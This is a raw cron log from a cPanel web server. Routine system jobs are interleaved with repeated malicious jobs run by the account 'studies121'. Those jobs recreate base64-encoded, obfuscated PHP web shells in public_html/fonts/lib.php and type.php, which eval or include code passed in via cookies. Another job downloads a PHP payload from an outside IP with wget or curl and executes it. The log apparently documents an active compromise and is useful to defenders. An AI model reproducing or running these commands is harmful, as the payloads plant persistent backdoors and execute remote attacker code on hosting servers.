Sep  1 13:14:01 ip-184-168-122-23 CROND[31257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:15:01 ip-184-168-122-23 CROND[31359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:15:01 ip-184-168-122-23 CROND[31361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:15:01 ip-184-168-122-23 CROND[31365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:15:01 ip-184-168-122-23 CROND[31362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:15:01 ip-184-168-122-23 CROND[31364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:15:01 ip-184-168-122-23 CROND[31363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:16:01 ip-184-168-122-23 CROND[31545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:16:01 ip-184-168-122-23 CROND[31546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:16:01 ip-184-168-122-23 CROND[31552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:16:01 ip-184-168-122-23 CROND[31549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:16:01 ip-184-168-122-23 CROND[31551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:16:01 ip-184-168-122-23 CROND[31550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:17:01 ip-184-168-122-23 CROND[31639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:17:01 ip-184-168-122-23 CROND[31641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:17:01 ip-184-168-122-23 CROND[31643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:17:01 ip-184-168-122-23 CROND[31642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:18:01 ip-184-168-122-23 CROND[31727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:18:01 ip-184-168-122-23 CROND[31729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:18:01 ip-184-168-122-23 CROND[31731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:18:01 ip-184-168-122-23 CROND[31732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:18:01 ip-184-168-122-23 CROND[31730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:19:01 ip-184-168-122-23 CROND[31833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:19:01 ip-184-168-122-23 CROND[31835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:19:01 ip-184-168-122-23 CROND[31834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:19:01 ip-184-168-122-23 CROND[31839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:20:01 ip-184-168-122-23 CROND[32030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:20:01 ip-184-168-122-23 CROND[32038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32040]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:20:01 ip-184-168-122-23 CROND[32041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:21:01 ip-184-168-122-23 CROND[32167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:21:01 ip-184-168-122-23 CROND[32169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:21:01 ip-184-168-122-23 CROND[32170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:21:01 ip-184-168-122-23 CROND[32172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:22:01 ip-184-168-122-23 CROND[32259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:22:01 ip-184-168-122-23 CROND[32262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:22:01 ip-184-168-122-23 CROND[32263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:22:01 ip-184-168-122-23 CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:22:01 ip-184-168-122-23 CROND[32264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:23:01 ip-184-168-122-23 CROND[32499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:23:01 ip-184-168-122-23 CROND[32501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:23:01 ip-184-168-122-23 CROND[32502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:23:01 ip-184-168-122-23 CROND[32503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:24:01 ip-184-168-122-23 CROND[32586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:24:01 ip-184-168-122-23 CROND[32590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:24:01 ip-184-168-122-23 CROND[32588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:24:01 ip-184-168-122-23 CROND[32589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:24:01 ip-184-168-122-23 CROND[32591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:25:01 ip-184-168-122-23 CROND[32704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:25:01 ip-184-168-122-23 CROND[32706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:25:01 ip-184-168-122-23 CROND[32708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:25:01 ip-184-168-122-23 CROND[32709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:25:01 ip-184-168-122-23 CROND[32711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:25:01 ip-184-168-122-23 CROND[32712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:26:01 ip-184-168-122-23 CROND[358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:26:01 ip-184-168-122-23 CROND[359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:26:01 ip-184-168-122-23 CROND[362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:26:01 ip-184-168-122-23 CROND[364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:26:01 ip-184-168-122-23 CROND[365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
